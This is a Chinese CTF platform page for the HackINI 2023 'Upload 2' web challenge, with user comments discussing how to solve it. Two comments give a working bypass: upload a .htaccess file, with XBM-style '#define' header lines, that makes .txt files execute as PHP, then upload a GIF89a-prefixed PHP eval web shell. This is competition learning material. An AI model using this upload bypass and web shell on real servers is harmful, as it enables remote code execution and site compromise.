Upload 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一  血: Max_yiz
一血奖励: 0金币
解  决: 478
提  示:
描  述:
We used a blacklist now ... can you **access** the flag now?\n\n\n\ \ **Author**: souad
评论
JJhello 2年前

上传一个文件名为 ".htaccess",注意,文件名前面没有任何东西的,文件内容为: #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 然后上传shell.txt,内容为

回复 1

samRsa 2年前

1、bp抓包上传.htaccess #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 2、上传马 GIF89a <?php @eval($_POST['cmd']); ?>

回复 0

PandaCattle 3年前

看了官方wp就知道有多离谱。。https://github.com/Shellmates/HackINI-2k23-public/blob/main/web/upload-2/solve/README.md

回复 0

hopeinhand 3年前

后缀php不行,换后缀php5发现容器只允许.php后缀执行命令,使用.htaccess绕过

回复 0
zuoyantiao115 2年前

@PandaCattle #define width 16 #define height 7在这里起到的作用是什么?

回复 0

PandaCattle 3年前

@jiangbw 做出来了,只能说逆天,.htaccess内容里面必须有#define width 16 #define height 7

回复 0

PandaCattle 3年前

@jiangbw 我也一样 直接报错了 是不是环境有问题

回复 0

jiangbw 3年前

@niano.0 .htaccess上传完就跳界面了,那怎么绕过啊

回复 0

niano.0 3年前

@xjc7580 大佬,怎么做的呀

回复 0

xjc7580 3年前

大佬,再给点提示呗,上传.htaccess与上传的shell不一个目录啊

回复 1

WriteUp

image
lolthis223

1 金币

评分(2)

解题动态

wch 攻破了该题 12小时前
dlgz 攻破了该题 1天前
aoshisky 攻破了该题 1天前
suhannn 攻破了该题 3天前
晨曦静夜 攻破了该题 5天前
15325870583 攻破了该题 7天前
haoyun123 攻破了该题 7天前
Zfc 攻破了该题 12天前
hailuoli 攻破了该题 16天前
蛋黄 攻破了该题 19天前
风花雪月 攻破了该题 23天前
ZyTbF521 攻破了该题 24天前
Reunion 攻破了该题 24天前
songyu0452 攻破了该题 24天前
dchen06 攻破了该题 1月前
sjjsyh 攻破了该题 1月前
lizhibin 攻破了该题 1月前
任务renwu 攻破了该题 1月前
wuzhouwo 攻破了该题 1月前
XLDXL 攻破了该题 1月前
问题反馈